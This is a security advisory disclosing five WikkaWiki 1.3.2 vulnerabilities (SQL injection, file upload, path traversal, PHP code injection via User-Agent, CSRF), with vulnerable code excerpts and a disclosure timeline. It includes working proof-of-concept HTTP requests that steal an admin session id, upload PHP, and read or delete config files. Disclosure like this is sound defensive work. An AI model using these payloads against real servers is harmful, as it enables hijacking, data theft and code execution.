  ----------------------------------------------------
  WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities
  ----------------------------------------------------
  
  author............: Egidio Romano aka EgiX
  mail..............: n0b0d13s[at]gmail[dot]com
  software link.....: http://wikkawiki.org/
  
  
  +---------------------------------------------------+
  | SQL Injection in UPDATE statement (CVE-2011-4448) |
  +---------------------------------------------------+
  
  The vulnerable code is located in /actions/usersettings/usersettings.php
  
  140.            default: // input is valid
  141.            $this->Query("
  142.                UPDATE ".$this->GetConfigValue('table_prefix')."users
  143.                SET email = '".mysql_real_escape_string($email)."',
  144.                    doubleclickedit = '".mysql_real_escape_string($doubleclickedit)."',
  145.                    show_comments = '".mysql_real_escape_string($show_comments)."',
  146.                    default_comment_display = '".$default_comment_display."',
  147.                    revisioncount = ".$revisioncount.",
  148.                    changescount = ".$changescount.",
  149.                    theme = '".mysql_real_escape_string($usertheme)."'                
  150.                WHERE name = '".$user['name']."'
  151.                LIMIT 1"
  152.                );
  
  When handling  'update' action,  'default_comment_display' is  the only parameter  that isn't  sanitized with
  mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple
  lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes
  It's impossible  to alter the  'users' table content  for e.g.  changing the  admin's password, but  is still
  possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.
  This is a proof of concept request:
  
   POST /wikka/UserSettings HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6
   Content-Length: 140
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='

  If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.
  If admin doesn't  explicitly logout (for e.g. close  the browser before click on 'Logout'  link) his session
  remains however  stored into  DB, so  this attack  could success also  if admin  isn't currently  logged in.
  Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.
  
  
  +------------------------------------------+
  | Unrestricted File Upload (CVE-2011-4449) |
  +------------------------------------------+
  
  The vulnerable code is located in /actions/files/files.php
  
  266.            elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name']))
  267.            {
  268.                $strippedname = str_replace('\'', '', $_FILES['file']['name']);
  269.                $strippedname = rawurlencode($strippedname);
  270.                $strippedname = stripslashes($strippedname);
  271.                $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89
  272.    
  273.                if (!file_exists($destfile))
  274.                {
  275.                    if (move_uploaded_file($_FILES['file']['tmp_name'], $destfile))
  276.                    {
  277.                        $notification_msg = T_("File was successfully uploaded.");
  278.                    }
  
  If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack
  using the first  vulnerability, It's possible to  upload files that contains multiple  extensions due to
  insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:
  
  'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'
  
  It contains some extensions  (e.g. mm, vpp...) that are rare to see in  a MIME type Apache configuration
  setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:
  
   POST /wikka/test HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3
   Content-Length: 251
   Content-Type: multipart/form-data; boundary=--------1503534127
   Connection: keep-alive
   
   ----------1503534127
   Content-Disposition: form-data; name="file"; filename="test.php.mm"
   Content-Type: application/octet-stream
   
   <?php phpinfo(); ?>
   ----------1503534127
   Content-Disposition: form-data; name="upload"
   
   Upload
   ----------1503534127--
   
  Where 'test' is a page containing the {{files}} action.
   
   
  +---------------------------------------------------------------------+
  | Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |
  +---------------------------------------------------------------------+
  
  The vulnerable code is located in /handlers/files.xml/files.xml.php
  
  53.    $file = $this->GetSafeVar('file', 'get');
  54.    if ('.' == $file{0})
  55.    {
  56.        $this->Redirect($this->Href(), T_("Sorry, files of this type are not allowed."));
  57.    }
  58.    // do the action
  59.    $action = $this->GetSafeVar('action', 'get');
  60.    switch ($action)    # #312
  61.    {
  62.        // @@@ shared download code
  63.        case 'download':
  64.            header('Accept-Ranges: bytes');
  65.            $_GET['file'] = basename($file); # #312
  66.            $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312
  
  ...

  101.            $fp = fopen($path, 'rb');
  102.            while (!feof($fp))
  103.            {
  104.                $data = fread($fp, 4096);
  105.                echo $data;
  106.            }
  107.            fclose($fp);
  108.            exit();
  109.        case 'delete':
  110.            if ($this->IsAdmin() && FALSE===empty($file) && T_("File deleted") == $_SESSION['redirectmessage'])
  111.            {
  112.                $delete_success = @unlink($upload_path.DIRECTORY_SEPARATOR.$file); # #89, #312
  
  The only check  of the user supplied filename  is done at line 54,  if the filename start with  a dot It's
  rejected otherwise  It's accepted.  But this  isn't an efficiently  countermeasure against  Path Traversal
  attacks, infact an attacker could request an URL like this:
  
   http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php
  
  to download for e.g.  the configuration file (note that 'test' is a  page containing the {{files}} action,
  but attachments aren't required for download or delete arbitrary files). Similarly, if an attacker conduct
  a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:
  
   POST /wikka/test HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6
   Content-Length: 16
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   file_to_delete=1

  to set $_SESSION['redirectmessage'] and after he could request an URL like this to delete arbitrary files:
  
   http://localhost/wikka/test/files.xml?action=delete&file=/../../.htaccess
   
   
  +---------------------------------------+
  | Remote Code Execution (CVE-2011-4451) |
  +---------------------------------------+
  
  The vulnerable code is located in logSpam() function defined into /libs/Wakka.class.php
  
  1315.     function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time='')
  1316.     {
  1317.        // set path
  1318.        $spamlogpath = (isset($this->config['spamlog_path'])) ? $this->config['spamlog_path'] : DEF_SPAMLOG_PATH;    # @@@ make function
  1319.        // gather data
  1320.        if ($user == '')
  1321.        {
  1322.            $user = $this->GetUserName();                    # defaults to REMOTE_HOST to domain for anonymous user
  1323.        }
  1324.        if ($time == '')
  1325.        {
  1326.            $time = date('Y-m-d H:i:s');                    # current date/time
  1327.        }
  1328.        if (preg_match('/^mass delete/',$reason))            # @@@ i18n
  1329.        {
  1330.            $originip = '0.0.0.0';                            # don't record deleter's IP address!
  1331.        }
  1332.        else
  1333.        {
  1334.            $originip = $_SERVER['REMOTE_ADDR'];
  1335.        }
  1336.        $ua        = (isset($_SERVER['HTTP_USER_AGENT'])) ? '['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';
  1337.        $body        = trim($body);
  1338.        $sig        = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";
  1339.        $content    = $sig.$body."\n\n";
  1340.    
  1341.        // add data to log            @@@ use appendFile
  1342.        return $this->appendFile($spamlogpath,$content);    # nr. of bytes written if successful, FALSE otherwise
  1343.  }
  
  If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path'
  file (that by default is './spamlog.txt.php') through $_SERVER['HTTP_USER_AGENT'] variable. Proof of concept:
  
   POST /wikka/test/addcomment HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83
   User-Agent: <?php phpinfo(); ?>
   Content-Length: 27
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive
  
   body=foo&submit=Add+Comment
   
   
  +--------------------------------------------+
  | Cross-Site Request Forgery (CVE-2011-4452) |
  +--------------------------------------------+
  
  CSRF attacks countermeasures aren't properly implemented, so an attacker could
  be able to create a malicious page containing an {{image}} action like this:
  
   {{image url="http://localhost/wikka/AdminUsers?user=TestUser&action=delete"}}
   
  When the admin will visit this page, the 'TestUser' account will be deleted.
    
   
  [-] Disclosure timeline:
  
  [07/10/2011] - Vulnerabilities discovered
  [09/10/2011] - Issues reported to http://wush.net/trac/wikka/ticket/1097
  [10/10/2011] - RCE and CSRF vulnerabilities discovered
  [11/10/2011] - RCE and CSRF vulnerabilities reported to http://wush.net/trac/wikka/ticket/1098
  [27/10/2011] - I've provided possible bug fixes to vendor
  [28/11/2011] - After seven weeks still no fix released
  [30/11/2011] - Public disclosure

